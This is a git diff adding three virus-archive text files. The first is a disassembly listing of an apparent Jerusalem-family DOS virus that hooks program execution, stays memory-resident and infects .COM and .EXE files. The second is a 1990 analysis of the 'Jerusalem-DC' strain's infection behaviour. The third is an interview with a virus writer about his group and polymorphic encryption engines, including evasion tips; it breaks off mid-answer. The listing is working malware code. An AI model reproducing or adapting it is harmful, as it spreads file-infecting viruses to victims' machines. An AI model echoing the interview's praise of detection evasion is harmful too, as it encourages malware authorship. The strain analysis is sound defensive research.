+0000:01FC 1F POP DS +0000:01FD 9C PUSHF +0000:01FE 2EFF1E1700 CALL CS:[Y0017H] +0000:0203 1E PUSH DS +0000:0204 07 POP ES +0000:0205 B449 MOV AH,049H +0000:0207 CD21 INT 021H +0000:0209 B44D MOV AH,04DH +0000:020B CD21 INT 021H +0000:020D B431 MOV AH,031H +0000:020F BA0006 MOV DX,0600H +0000:0212 B104 MOV CL,04H + +"JV.MOC" PAGE 0005 + +0000:0214 D3EA SHR DX,CL +0000:0216 83C210 ADD DX,0010H +0000:0219 CD21 INT 021H +0000:021B 32C0 XOR AL,AL +0000:021D CF IRET +0000:021E 2E833E1F0002 CMP WORD PTR CS:[Y001FH],0002H +0000:0224 7517 JNZ X023D +0000:0226 50 PUSH AX +0000:0227 53 PUSH BX +0000:0228 51 PUSH CX +0000:0229 52 PUSH DX +0000:022A 55 PUSH BP +0000:022B B80206 MOV AX,0602H +0000:022E B787 MOV BH,087H +0000:0230 B90505 MOV CX,0505H +0000:0233 BA1010 MOV DX,01010H +0000:0236 CD10 INT 010H +0000:0238 5D POP BP +0000:0239 5A POP DX +0000:023A 59 POP CX +0000:023B 5B POP BX +0000:023C 58 POP AX +0000:023D 2EFF0E1F00 X023D: DEC WORD PTR CS:[Y001FH] +0000:0242 7512 JNZ X0256 +0000:0244 2EC7061F000100 MOV WORD PTR CS:[Y001FH],0001H +0000:024B 50 PUSH AX +0000:024C 51 PUSH CX +0000:024D 56 PUSH SI +0000:024E B90140 MOV CX,04001H +0000:0251 F3AC REPE LODSB +0000:0253 5E POP SI +0000:0254 59 POP CX +0000:0255 58 POP AX +0000:0256 2EFF2E1300 X0256: JMP CS:[Y0013H] +0000:025B 9C X025B: PUSHF +0000:025C 80FCE0 CMP AH,0E0H +0000:025F 7505 JNZ X0266 +0000:0261 B80003 MOV AX,0300H +0000:0264 9D POPF +0000:0265 CF IRET +0000:0266 80FCDD X0266: CMP AH,0DDH +0000:0269 7413 JZ X027E +0000:026B 80FCDE CMP AH,0DEH +0000:026E 7428 JZ X0298 +0000:0270 3D004B CMP AX,04B00H +0000:0273 7503 JNZ X0278 +0000:0275 E9B400 JMP X032C +0000:0278 9D X0278: POPF +0000:0279 2EFF2E1700 JMP CS:[Y0017H] +0000:027E 58 X027E: POP AX +0000:027F 58 POP AX +0000:0280 B80001 MOV AX,0100H +0000:0283 2EA30A00 MOV CS:Y000AH,AX +0000:0287 58 POP AX +0000:0288 2EA30C00 MOV CS:Y000CH,AX +0000:028C F3A4 REPE MOVSB + +"JV.MOC" PAGE 0006 + +0000:028E 9D POPF +0000:028F 2EA10F00 MOV AX,CS:Y000FH +0000:0293 2EFF2E0A00 JMP CS:[Y000AH] +0000:0298 83C406 X0298: ADD SP,0006H +0000:029B 9D POPF +0000:029C 8CC8 MOV AX,CS +0000:029E 8ED0 MOV SS,AX +0000:02A0 BC1007 MOV SP,0710H +0000:02A3 06 PUSH ES +0000:02A4 06 PUSH ES +0000:02A5 33FF XOR DI,DI +0000:02A7 0E PUSH CS +0000:02A8 07 POP ES +0000:02A9 B91000 MOV CX,0010H +0000:02AC 8BF3 MOV SI,BX +0000:02AE BF2100 MOV DI,0021H +0000:02B1 F3A4 REPE MOVSB +0000:02B3 8CD8 MOV AX,DS +0000:02B5 8EC0 MOV ES,AX +0000:02B7 2EF7267A00 MUL WORD PTR CS:[Y007AH] +0000:02BC 2E03062B00 ADD AX,CS:[Y002BH] +0000:02C1 83D200 ADC DX,0000H +0000:02C4 2EF7367A00 DIV WORD PTR CS:[Y007AH] +0000:02C9 8ED8 MOV DS,AX +0000:02CB 8BF2 MOV SI,DX +0000:02CD 8BFA MOV DI,DX +0000:02CF 8CC5 MOV BP,ES +0000:02D1 2E8B1E2F00 MOV BX,CS:[Y002FH] +0000:02D6 0BDB OR BX,BX +0000:02D8 7413 JZ X02ED +0000:02DA B90080 X02DA: MOV CX,08000H +0000:02DD F3A5 REPE MOVSW +0000:02DF 050010 ADD AX,01000H +0000:02E2 81C50010 ADD BP,01000H +0000:02E6 8ED8 MOV DS,AX +0000:02E8 8EC5 MOV ES,BP +0000:02EA 4B DEC BX +0000:02EB 75ED JNZ X02DA +0000:02ED 2E8B0E2D00 X02ED: MOV CX,CS:[Y002DH] +0000:02F2 F3A4 REPE MOVSB +0000:02F4 58 POP AX +0000:02F5 50 PUSH AX +0000:02F6 051000 ADD AX,0010H +0000:02F9 2E01062900 ADD CS:[Y0029H],AX +0000:02FE 2E01062500 ADD CS:[Y0025H],AX +0000:0303 2EA12100 MOV AX,CS:Y0021H +0000:0307 1F POP DS +0000:0308 07 POP ES +0000:0309 2E8E162900 MOV SS,CS:[Y0029H] +0000:030E 2E8B262700 MOV SP,CS:[Y0027H] +0000:0313 2EFF2E2300 JMP CS:[Y0023H] +0000:0318 33C9 X0318: XOR CX,CX +0000:031A B80143 MOV AX,04301H +0000:031D CD21 INT 021H +0000:031F B441 MOV AH,041H +0000:0321 CD21 INT 021H + +"JV.MOC" PAGE 0007 + +0000:0323 B8004B MOV AX,04B00H +0000:0326 9D POPF +0000:0327 2EFF2E1700 JMP CS:[Y0017H] +0000:032C 2E803E0E0001 X032C: CMP BYTE PTR CS:[Y000EH],01H +0000:0332 74E4 JZ X0318 +0000:0334 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH +0000:033B 2EC7068F000000 MOV WORD PTR CS:[Y008FH],0000H +0000:0342 2E89168000 MOV CS:[Y0080H],DX +0000:0347 2E8C1E8200 MOV CS:[Y0082H],DS +0000:034C 50 PUSH AX +0000:034D 53 PUSH BX +0000:034E 51 PUSH CX +0000:034F 52 PUSH DX +0000:0350 56 PUSH SI +0000:0351 57 PUSH DI +0000:0352 1E PUSH DS +0000:0353 06 PUSH ES +0000:0354 FC CLD +0000:0355 8BFA MOV DI,DX +0000:0357 32D2 XOR DL,DL +0000:0359 807D013A CMP BYTE PTR [DI+01H],03AH +0000:035D 7505 JNZ X0364 +0000:035F 8A15 MOV DL,[DI] +0000:0361 80E21F AND DL,01FH +0000:0364 B436 X0364: MOV AH,036H +0000:0366 CD21 INT 021H +0000:0368 3DFFFF CMP AX,0FFFFH +0000:036B 7503 JNZ X0370 +0000:036D E97702 X036D: JMP X05E7 +0000:0370 F7E3 X0370: MUL BX +0000:0372 F7E1 MUL CX +0000:0374 0BD2 OR DX,DX +0000:0376 7505 JNZ X037D +0000:0378 3D1007 CMP AX,0710H +0000:037B 72F0 JB X036D +0000:037D 2E8B168000 X037D: MOV DX,CS:[Y0080H] +0000:0382 1E PUSH DS +0000:0383 07 POP ES +0000:0384 32C0 XOR AL,AL +0000:0386 B94100 MOV CX,0041H +0000:0389 F2AE REPNE SCASB +0000:038B 2E8B368000 MOV SI,CS:[Y0080H] +0000:0390 8A04 X0390: MOV AL,[SI] +0000:0392 0AC0 OR AL,AL +0000:0394 740E JZ X03A4 +0000:0396 3C61 CMP AL,061H +0000:0398 7207 JB X03A1 +0000:039A 3C7A CMP AL,07AH +0000:039C 7703 JA X03A1 +0000:039E 802C20 SUB BYTE PTR [SI],020H +0000:03A1 46 X03A1: INC SI +0000:03A2 EBEC JMP X0390 +0000:03A4 B90B00 X03A4: MOV CX,000BH +0000:03A7 2BF1 SUB SI,CX +0000:03A9 BF8400 MOV DI,0084H +0000:03AC 0E PUSH CS + +"JV.MOC" PAGE 0008 + +0000:03AD 07 POP ES +0000:03AE B90B00 MOV CX,000BH +0000:03B1 F3A6 REPE CMPSB +0000:03B3 7503 JNZ X03B8 +0000:03B5 E92F02 JMP X05E7 +0000:03B8 B80043 X03B8: MOV AX,04300H +0000:03BB CD21 INT 021H +0000:03BD 7205 JB X03C4 +0000:03BF 2E890E7200 MOV CS:[Y0072H],CX +0000:03C4 7225 X03C4: JB X03EB +0000:03C6 32C0 XOR AL,AL +0000:03C8 2EA24E00 MOV CS:Y004EH,AL +0000:03CC 1E PUSH DS +0000:03CD 07 POP ES +0000:03CE 8BFA MOV DI,DX +0000:03D0 B94100 MOV CX,0041H +0000:03D3 F2AE REPNE SCASB +0000:03D5 807DFE4D CMP BYTE PTR [DI-02H],04DH +0000:03D9 740B JZ X03E6 +0000:03DB 807DFE6D CMP BYTE PTR [DI-02H],06DH +0000:03DF 7405 JZ X03E6 +0000:03E1 2EFE064E00 INC BYTE PTR CS:[Y004EH] +0000:03E6 B8003D X03E6: MOV AX,03D00H +0000:03E9 CD21 INT 021H +0000:03EB 725A X03EB: JB X0447 +0000:03ED 2EA37000 MOV CS:Y0070H,AX +0000:03F1 8BD8 MOV BX,AX +0000:03F3 B80242 MOV AX,04202H +0000:03F6 B9FFFF MOV CX,0FFFFH +0000:03F9 BAFBFF MOV DX,0FFFBH +0000:03FC CD21 X03FC: INT 021H +0000:03FE 72EB JB X03EB +0000:0400 050500 ADD AX,0005H +0000:0403 2EA31100 MOV CS:Y0011H,AX +0000:0407 B90500 MOV CX,0005H +0000:040A BA6B00 MOV DX,006BH +0000:040D 8CC8 MOV AX,CS +0000:040F 8ED8 MOV DS,AX +0000:0411 8EC0 MOV ES,AX +0000:0413 B43F MOV AH,03FH +0000:0415 CD21 INT 021H +0000:0417 8BFA MOV DI,DX +0000:0419 BE0500 MOV SI,0005H +0000:041C F3A6 REPE CMPSB +0000:041E 7507 JNZ X0427 +0000:0420 B43E MOV AH,03EH +0000:0422 CD21 INT 021H +0000:0424 E9C001 JMP X05E7 +0000:0427 B82435 X0427: MOV AX,03524H +0000:042A CD21 INT 021H +0000:042C 891E1B00 MOV [Y001BH],BX +0000:0430 8C061D00 MOV [Y001DH],ES +0000:0434 BA1B02 MOV DX,021BH +0000:0437 B82425 MOV AX,02524H +0000:043A CD21 INT 021H +0000:043C C5168000 LDS DX,[Y0080H] + +"JV.MOC" PAGE 0009 + +0000:0440 33C9 XOR CX,CX +0000:0442 B80143 MOV AX,04301H +0000:0445 CD21 INT 021H +0000:0447 723B X0447: JB X0484 +0000:0449 2E8B1E7000 MOV BX,CS:[Y0070H] +0000:044E B43E MOV AH,03EH +0000:0450 CD21 INT 021H +0000:0452 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH +0000:0459 B8023D MOV AX,03D02H +0000:045C CD21 INT 021H +0000:045E 7224 JB X0484 +0000:0460 2EA37000 MOV CS:Y0070H,AX +0000:0464 8CC8 MOV AX,CS +0000:0466 8ED8 MOV DS,AX +0000:0468 8EC0 MOV ES,AX +0000:046A 8B1E7000 MOV BX,[Y0070H] +0000:046E B80057 MOV AX,05700H +0000:0471 CD21 INT 021H +0000:0473 89167400 MOV [Y0074H],DX +0000:0477 890E7600 MOV [Y0076H],CX +0000:047B B80042 MOV AX,04200H +0000:047E 33C9 XOR CX,CX +0000:0480 8BD1 MOV DX,CX +0000:0482 CD21 INT 021H +0000:0484 723D X0484: JB X04C3 +0000:0486 803E4E0000 CMP BYTE PTR [Y004EH],00H +0000:048B 7403 JZ X0490 +0000:048D EB57 JMP X04E6 +0000:048F 90 NOP +0000:0490 BB0010 X0490: MOV BX,01000H +0000:0493 B448 MOV AH,048H +0000:0495 CD21 INT 021H +0000:0497 730B JAE X04A4 +0000:0499 B43E MOV AH,03EH +0000:049B 8B1E7000 MOV BX,[Y0070H] +0000:049F CD21 INT 021H +0000:04A1 E94301 JMP X05E7 +0000:04A4 FF068F00 X04A4: INC WORD PTR [Y008FH] +0000:04A8 8EC0 MOV ES,AX +0000:04AA 33F6 XOR SI,SI +0000:04AC 8BFE MOV DI,SI +0000:04AE B91007 MOV CX,0710H +0000:04B1 F3A4 REPE MOVSB +0000:04B3 8BD7 MOV DX,DI +0000:04B5 8B0E1100 MOV CX,[Y0011H] +0000:04B9 8B1E7000 MOV BX,[Y0070H] +0000:04BD 06 PUSH ES +0000:04BE 1F POP DS +0000:04BF B43F MOV AH,03FH +0000:04C1 CD21 INT 021H +0000:04C3 721C X04C3: JB X04E1 +0000:04C5 03F9 ADD DI,CX +0000:04C7 33C9 XOR CX,CX +0000:04C9 8BD1 MOV DX,CX +0000:04CB B80042 MOV AX,04200H +0000:04CE CD21 INT 021H + +"JV.MOC" PAGE 0010 + +0000:04D0 BE0500 MOV SI,0005H +0000:04D3 B90500 MOV CX,0005H +0000:04D6 F32EA4 REPE MOVS ES:BYTE PTR (DI),CS:BYTE PT + R (SI) +0000:04D9 8BCF MOV CX,DI +0000:04DB 33D2 XOR DX,DX +0000:04DD B440 MOV AH,040H +0000:04DF CD21 INT 021H +0000:04E1 720D X04E1: JB X04F0 +0000:04E3 E9BC00 JMP X05A2 +0000:04E6 B91C00 X04E6: MOV CX,001CH +0000:04E9 BA4F00 MOV DX,004FH +0000:04EC B43F MOV AH,03FH +0000:04EE CD21 INT 021H +0000:04F0 724A X04F0: JB X053C +0000:04F2 C70661008419 MOV WORD PTR [Y0061H],01984H +0000:04F8 A15D00 MOV AX,Y005DH +0000:04FB A34500 MOV Y0045H,AX +0000:04FE A15F00 MOV AX,Y005FH +0000:0501 A34300 MOV Y0043H,AX +0000:0504 A16300 MOV AX,Y0063H +0000:0507 A34700 MOV Y0047H,AX +0000:050A A16500 MOV AX,Y0065H +0000:050D A34900 MOV Y0049H,AX +0000:0510 A15300 MOV AX,Y0053H +0000:0513 833E510000 CMP WORD PTR [Y0051H],0000H +0000:0518 7401 JZ X051B +0000:051A 48 DEC AX +0000:051B F7267800 X051B: MUL WORD PTR [Y0078H] +0000:051F 03065100 ADD AX,[Y0051H] +0000:0523 83D200 ADC DX,0000H +0000:0526 050F00 ADD AX,000FH +0000:0529 83D200 ADC DX,0000H +0000:052C 25F0FF AND AX,0FFF0H +0000:052F A37C00 MOV Y007CH,AX +0000:0532 89167E00 MOV [Y007EH],DX +0000:0536 051007 ADD AX,0710H +0000:0539 83D200 ADC DX,0000H +0000:053C 723A X053C: JB X0578 +0000:053E F7367800 DIV WORD PTR [Y0078H] +0000:0542 0BD2 OR DX,DX +0000:0544 7401 JZ X0547 +0000:0546 40 INC AX +0000:0547 A35300 X0547: MOV Y0053H,AX +0000:054A 89165100 MOV [Y0051H],DX +0000:054E A17C00 MOV AX,Y007CH +0000:0551 8B167E00 MOV DX,[Y007EH] +0000:0555 F7367A00 DIV WORD PTR [Y007AH] +0000:0559 2B065700 SUB AX,[Y0057H] +0000:055D A36500 MOV Y0065H,AX +0000:0560 C7066300C500 MOV WORD PTR [Y0063H],00C5H +0000:0566 A35D00 MOV Y005DH,AX +0000:0569 C7065F001007 MOV WORD PTR [Y005FH],0710H +0000:056F 33C9 XOR CX,CX +0000:0571 8BD1 MOV DX,CX +0000:0573 B80042 MOV AX,04200H +0000:0576 CD21 INT 021H + +"JV.MOC" PAGE 0011 + +0000:0578 720A X0578: JB X0584 +0000:057A B91C00 MOV CX,001CH +0000:057D BA4F00 MOV DX,004FH +0000:0580 B440 MOV AH,040H +0000:0582 CD21 INT 021H +0000:0584 7211 X0584: JB X0597 +0000:0586 3BC1 CMP AX,CX +0000:0588 7518 JNZ X05A2 +0000:058A 8B167C00 MOV DX,[Y007CH] +0000:058E 8B0E7E00 MOV CX,[Y007EH] +0000:0592 B80042 MOV AX,04200H +0000:0595 CD21 INT 021H +0000:0597 7209 X0597: JB X05A2 +0000:0599 33D2 XOR DX,DX +0000:059B B91007 MOV CX,0710H +0000:059E B440 MOV AH,040H +0000:05A0 CD21 INT 021H +0000:05A2 2E833E8F0000 X05A2: CMP WORD PTR CS:[Y008FH],0000H +0000:05A8 7404 JZ X05AE +0000:05AA B449 MOV AH,049H +0000:05AC CD21 INT 021H +0000:05AE 2E833E7000FF X05AE: CMP WORD PTR CS:[Y0070H],0FFFFH +0000:05B4 7431 JZ X05E7 +0000:05B6 2E8B1E7000 MOV BX,CS:[Y0070H] +0000:05BB 2E8B167400 MOV DX,CS:[Y0074H] +0000:05C0 2E8B0E7600 MOV CX,CS:[Y0076H] +0000:05C5 B80157 MOV AX,05701H +0000:05C8 CD21 INT 021H +0000:05CA B43E MOV AH,03EH +0000:05CC CD21 INT 021H +0000:05CE 2EC5168000 LDS DX,CS:[Y0080H] +0000:05D3 2E8B0E7200 MOV CX,CS:[Y0072H] +0000:05D8 B80143 MOV AX,04301H +0000:05DB CD21 INT 021H +0000:05DD 2EC5161B00 LDS DX,CS:[Y001BH] +0000:05E2 B82425 MOV AX,02524H +0000:05E5 CD21 INT 021H +0000:05E7 07 X05E7: POP ES +0000:05E8 1F POP DS +0000:05E9 5F POP DI +0000:05EA 5E POP SI +0000:05EB 5A POP DX +0000:05EC 59 POP CX +0000:05ED 5B POP BX +0000:05EE 58 POP AX +0000:05EF 9D POPF +0000:05F0 2EFF2E1700 JMP CS:[Y0017H] +0000:05F5 0000 X05F5: ADD [BX+SI],AL +0000:05F7 0000 ADD [BX+SI],AL +0000:05F9 0000 ADD [BX+SI],AL +0000:05FB 0000 ADD [BX+SI],AL +0000:05FD 0000 ADD [BX+SI],AL +0000:05FF 004D00 ADD [DI+00H],CL +0000:0602 000F ADD [BX],CL +0000:0604 0000 ADD [BX+SI],AL +0000:0606 0000 ADD [BX+SI],AL + +"JV.MOC" PAGE 0012 + +0000:0608 0000 ADD [BX+SI],AL +0000:060A 0000 ADD [BX+SI],AL +0000:060C 0000 ADD [BX+SI],AL +0000:060E 0000 ADD [BX+SI],AL +0000:0610 CD20 INT 020H +0000:0612 00A0009A ADD [BX+SI+Y09A00H],AH +0000:0616 F0FE1D LOCK CALL [DI] ; NOT VALID +0000:0619 F02F LOCK DAS +0000:061B 018E1E3C ADD [BP+Y03C1EH],CX +0000:061F 018E1EEB ADD [BP+Y0EB1EH],CX +0000:0623 048E ADD AL,08EH +0000:0625 1E PUSH DS +0000:0626 8E1EFFFF MOV DS,[Y0FFFFH] +0000:062A FFFF ??? DI +0000:062C FFFF ??? DI +0000:062E FFFF ??? DI +0000:0630 FFFF ??? DI +0000:0632 FFFF ??? DI +0000:0634 FFFF ??? DI +0000:0636 FFFF ??? DI +0000:0638 FFFF ??? DI +0000:063A FFFF ??? DI +0000:063C 7C1F JL X065D +0000:063E DE3E8D29 ESC 037H,[Y0298DH] +0000:0642 1400 ADC AL,00H +0000:0644 1800 SBB [BX+SI],AL +0000:0646 F1 DB 0F1H +0000:0647 1F POP DS +0000:0648 FFFF ??? DI +0000:064A FFFF ??? DI +0000:064C 0000 ADD [BX+SI],AL +0000:064E 0000 ADD [BX+SI],AL +0000:0650 0000 ADD [BX+SI],AL +0000:0652 0000 ADD [BX+SI],AL +0000:0654 0000 ADD [BX+SI],AL +0000:0656 0000 ADD [BX+SI],AL +0000:0658 0000 ADD [BX+SI],AL +0000:065A 0000 ADD [BX+SI],AL +0000:065C 0000 ADD [BX+SI],AL +0000:065E 0000 ADD [BX+SI],AL +0000:0660 CD21 INT 021H +0000:0662 CB RET ; INTERSEGMENT +0000:0663 0000 X0663: ADD [BX+SI],AL +0000:0665 0000 ADD [BX+SI],AL +0000:0667 0000 ADD [BX+SI],AL +0000:0669 0000 ADD [BX+SI],AL +0000:066B 0000 ADD [BX+SI],AL +0000:066D 2020 AND [BX+SI],AH +0000:066F 2020 AND [BX+SI],AH +0000:0671 2020 AND [BX+SI],AH +0000:0673 2020 AND [BX+SI],AH +0000:0675 2020 AND [BX+SI],AH +0000:0677 2000 AND [BX+SI],AL +0000:0679 0000 ADD [BX+SI],AL +0000:067B 0000 ADD [BX+SI],AL +0000:067D 2020 AND [BX+SI],AH + +"JV.MOC" PAGE 0013 + +0000:067F 2020 AND [BX+SI],AH +0000:0681 2020 AND [BX+SI],AH +0000:0683 2020 AND [BX+SI],AH +0000:0685 2020 AND [BX+SI],AH +0000:0687 2000 AND [BX+SI],AL +0000:0689 0000 ADD [BX+SI],AL +0000:068B 0000 ADD [BX+SI],AL +0000:068D 0000 ADD [BX+SI],AL +0000:068F 0000 ADD [BX+SI],AL +0000:0691 0D6B6F OR AX,06F6BH +0000:0694 6465 JZ X06FB +0000:0696 6572 JNZ X070A +0000:0698 7A2E JPE X06C8 +0000:069A 6578 JNZ X0714 +0000:069C 6520 JNZ X06BE +0000:069E 613A JNO X06DA +0000:06A0 6B6F JPO X0711 +0000:06A2 6465 JZ X0709 +0000:06A4 6572 JNZ X0718 +0000:06A6 2E6578 JNZ X0721 +0000:06A9 650D JNZ X06B8 +0000:06AB 0000 ADD [BX+SI],AL +0000:06AD 0000 ADD [BX+SI],AL +0000:06AF 0000 ADD [BX+SI],AL +0000:06B1 0000 ADD [BX+SI],AL +0000:06B3 0000 ADD [BX+SI],AL +0000:06B5 0000 ADD [BX+SI],AL +0000:06B7 0000 ADD [BX+SI],AL +0000:06B9 0000 ADD [BX+SI],AL +0000:06BB 0000 ADD [BX+SI],AL +0000:06BD 0000 ADD [BX+SI],AL +0000:06BF 0000 ADD [BX+SI],AL +0000:06C1 0000 ADD [BX+SI],AL +0000:06C3 0000 ADD [BX+SI],AL +0000:06C5 0000 ADD [BX+SI],AL +0000:06C7 0000 ADD [BX+SI],AL +0000:06C9 0000 ADD [BX+SI],AL +0000:06CB 0000 ADD [BX+SI],AL +0000:06CD 0000 ADD [BX+SI],AL +0000:06CF 0000 ADD [BX+SI],AL +0000:06D1 0000 ADD [BX+SI],AL +0000:06D3 0000 ADD [BX+SI],AL +0000:06D5 0000 ADD [BX+SI],AL +0000:06D7 0000 ADD [BX+SI],AL +0000:06D9 005718 ADD [BX+018H],DL +0000:06DC 0825 OR [DI],AH +0000:06DE A5 MOVSW +0000:06DF FEC5 INC CH +0000:06E1 07 POP ES +0000:06E2 1E PUSH DS +0000:06E3 0210 ADD DL,[BX+SI] +0000:06E5 07 POP ES +0000:06E6 57 PUSH DI +0000:06E7 18B10D47 SBB [BX+DI+Y0470DH],DH +0000:06EB 0104 ADD [SI],AX +0000:06ED 7F70 JG X075F + +"JV.MOC" PAGE 0014 + +0000:06EF 0010 ADD [BX+SI],DL +0000:06F1 07 POP ES +0000:06F2 1D001C SBB AX,01C00H +0000:06F5 09A20D3D OR [BP+SI+Y03D0DH],SP +0000:06F9 0C1B OR AL,01BH +0000:06FB 02B10D02 X06FB: ADD DH,[BX+DI+Y020DH] +0000:06FF F24D REPNE DEC BP +0000:0701 360E PUSH CS +0000:0703 0300 ADD AX,[BX+SI] +0000:0705 0000 ADD [BX+SI],AL +0000:0707 00EE ADD DH,CH +0000:0709 002A X0709: ADD [BP+SI],CH +0000:070B 0F POP CS +0000:070C 42 INC DX +0000:070D 01C1 ADD CX,AX +0000:070F 0DB44C OR AX,04CB4H +0000:0712 B000 MOV AL,00H +0000:0714 CD21 X0714: INT 021H +0000:0716 4D DEC BP +0000:0717 7344 JAE X075D +0000:0719 6F73 JG X078E + + \ No newline at end of file diff --git a/textfiles.com/virus/jeru-dc.vir b/textfiles.com/virus/jeru-dc.vir new file mode 100644 index 00000000..9011c227 --- /dev/null +++ b/textfiles.com/virus/jeru-dc.vir @@ -0,0 +1,83 @@ + 5 September 1990 + +David, + I thought that you may want to see this....Please read it carefully + and compare notes on what you have and what you have documentation + for. Please get back to me as soon as possible to discuss the + situation. This is an analysis that I did today on the strain that I + D/L'ed from the NCSA Board....Go figure. ,-) + + -Paul + + +=============================================================================== + + +This analysis was preformed under the following circumstances: + + +Test machine: AT 80286 Turbo Clone, Phoenix ROM-BIOS version 3.30, 1Mb RAM + (640 base, 384 extended), Seagate ST-225 21Mb Hard Dirve and + High Density (1.2 Mb) 5.25", 360 Kb Floppy Drive. + +Operating Sytem: Ms-DOS version 4.01 + +Memory Mapping Utility: Central Point Software, Inc., + "Memory Info", version 5.24 + +Notes: Clean, uninfected "goat" files (ie. .COM and .EXE) were + introduced into the viral environment for testing purposes. + The entire testing process is documented, in case you have + any particular questions. + McAfee Associates ViruScan version 66b identifies this virus + as Jerusalem B, but the differences in replication are + substantial enough to warrant a separate strain + classification. Comments, etc. are most certainly welcome. + + +=============================================================================== + + +Virus: Jerusalem-DC +----- ------------ + + (Note - Yep, I stuck the DC strain-tag on this one..it does not possess + the same characteristics of any other of the documented strains, + although McAfee's ViruScan ID's it as J-B... -Paul) + +Observations: +------------- + +When an infected file is initially executed, the virus loads TSR. This can be +observed with a memory mapping utility (see above). This also reveals that +the infected file has been loaded next TSR. It should also be +annotated at this point that the program that was used to view memory at +this point has, too, become infected. File size increases are as follows: + + .COM files - 1813 bytes and will only be infected once. COMMAND.COM will + not become infected. + + .EXE files - 1820 bytes initially; 1808 bytes upon each subsequent + infetion. (This seems almost inversely proportional to the + description of Spanish JB, or Jerusalem E2.) + +The "Black Box" effect is still apparent approx. 1/2 hour after the virus +is loaded TSR, as it is in the original J-B virus. The usual text string +"uSMsDOS" is not present in this strain. + + + + Please direct any (more detailed) questions via message to: + + The National Computer Security Association + + NCSA BBS, + Washington, DC. + (202) 364-1304 + 300/1200/2400 at 8,N,1 + + (Preferrably within the VIRUS Conference.) + + + + \ No newline at end of file diff --git a/textfiles.com/virus/jtinterv.iew b/textfiles.com/virus/jtinterv.iew new file mode 100644 index 00000000..7c9a1653 --- /dev/null +++ b/textfiles.com/virus/jtinterv.iew @@ -0,0 +1,420 @@ +-------------------------------------------------------------------------------- + INTERVIEW WITH JOHN TARDY / TRIDENT / THE NETHERLANDS +-------------------------------------------------------------------------------- + + Give me a short description of who you are? + +- I am called John Tardy, born somewhere in the beginning of the 70ties. + + From where did you get you handle, John Tardy? + +- In the beginning of time, I was fascinated by certain death metal + groups like Deicide and Obituary. The lead singer of the band is + John Tardy and has a hell of a voice. I wanted to adapt his name to + the underground also. If you know the first group, you know my handle + when I was young (and more childish than you can imagine. That Nazi- + virus was just nice compared to my first ones. They were insane). + + When did you discovered the world of computers? + +- I think I was almost 10 years old, but I heard of PC's when in 1990 I + had my first PC... + + How long have you been active in the scene? + +- At the end of 1991, I wrote my first virus, but using another handle... + +How did you came into the virus business? + +- That's a nice confusing question. When I first got struck by a virus + myself, I was convinced of the menace of it. I wanted to kill these + things that ruined my PC. So I wanted to write a scanner or another + antivirus toolkit. I contacted several persons in The Netherlands, + including the author of TbScan, but they pulled me off. I wasn't + thrustworthy and so on... Then I read a document from Vesselin + Bonthev, about the Virus Exchange BBS's. You could only get a virus + from them if you wrote one yourself, he said. So I did.... + + What part(s) of the underground do you think needs improvements? + +- Hmm, I don't know... I like it how it is now... + + Positive/negative aspects of the scene? + +- People promising they will release a super virus (targetting all kinds + of files), or a superb virus creation toolkit, but you won't see it + in years. Better bring it out first and then boast about it... You saw + and heard of TPE only when it was out... + + Have you been involved in any other group that TridenT? + + Yes, before I went to PC I was a demo coder and musician, but as it is + extremely difficult to get good information on PC about these things, + it's easier to write a virus. + + Who started/created TridenT? + + I did, together with Bit Addict. We thought it would bring more fame + if we worked together. Later we contacted the other people now in + TridenT. + + What's the groups goal? + +- Hmmm, that's not really an easy one... We want to be known (which now + is the case), but we all have our personal goals also. I want to have + the fuzz cleared around the antivirus writers. If they were more open + to me, I didn't make a virus or even founded TridenT... I would be a + researcher then... I can't do that now, because of my history as a + virus writer, so I'll have to go on and on and on (blame them! Cartel + isn't good!) + + How many people are you? + +- About 7 or so... It can vary... + + What's their handles? + +- In alphabetical : + Bit Addict + Dark Helmet + DarkRay + John Tardy + Masud Khafir + Some are missing, but that's better for them, I think... + + Do all of them program, if not, what's the others job? + + We _only_ have coders, or should be... We don't have any hackers, + phreakers or that type of guys in our group, because of the lack of + interest in that. + + Who are the "leading/head-persons" in the group? + +- Hmmm, let them speak for themselves, but I am only the founder, but + not the best programmer of the bunch. Bit Addict is surely the best + and Masud Khafir is on a second place, but we are not used to things + as "ratings", because we share the same interest. + + What's your position in it? + +- I founded it (as said before (a few times)) and I code some things. + That's all. Nothing special... Well, sometimes I searched a new member + and pulled him into this (like Masud, Dark Helmet, etc.) + + How is TridenT (currently) organized? + +- It was very well organized (own mailing system, etc.), but now we are + in a total void and it will take some time to recover, but I think + in a few months it will be better, or TridenT will not be here + anymore, as we all don't have very much time to write viruses + anymore, so... Wait and see... + + Have you got any contacts with other virus-groups/programmers? + +- No, I do not... I have to call much more then and I have a slight + problem regarding phone-bills ;-) And I don't want to phreak... + + Can anyone ask for membership, or are you a "private" group? + +- Well, we never had anyone asking to come in... If we saw a very good + virus, I tried to trace the person who wrote it down and contacted him + and asked him if he wanted to join... If you see it that way, I think + it's a little bit private... + + What does it take to join up? + +- I honestly don't know. If we saw a good virus (like coffeeshop or + gotcha!), we contacted the person. If people are far too willing to + join, I have to think twice... + + You've programmed a lot of polymorphic things, and one of them is the + TPE, what comments have you received about it? + +- Well, you can better ask if we don't get any comments... Ask + Frans Veldman how he is doing detecting TPE 1.4... Silence... Ask any + other AV-writer. Only a very few can detect it reliably and even more + engines are popping up... + + Will you continue to "upgrade" it or is it a finished project? + +- Ask Masud, he wrote it, but I think he is bored yet with it. He now + knows how to write such an engine and the challenge is taken, so he + goes on to the next challenge (Virus_For_Windows_1.4 or an OS/2 + virus). + + How many strains/mutations can it produce? + +- Euh.... I never counted it... It was sufficient to see the routines, + and I couldn't find many similarities. + + Eventhough polymorphic engine's are a great thing, not many people + seems to use them? You have any theorie why then don't? + +- Yes, find one cloaked with the engine, find 'em all... If they broke + the polymorphic code, all viruses using it are known... + + Which is the best polymorphic engine around today? + +- I like TPE 1.4 a lot... DMU (included with the Mirror virus) is also + nice. It's not very complicated, but it's very small (under 1K). The + Multiple Encryptor of Dark Angel (DAME) is very nice, escpecially the + double word encryption... Comment : Make them overlapping... + + Have you aver thought of/are currently releasing some sort of + electronic magazine (text/executable/hardcopy) + +- We thought of it, but after a long(!) discussion in our net, we + decided not to do it. There are so many mags now, why writing one more + with debug scripts and sources of viruses. There's enough study + material. We planned to make a hypertext engine for writing viruses, + but that will take a while, as the programmer of it is lazy (he said + it himself!). + + Are you into other things such as hacking and phreaking aswell, or just + viruses? + +- 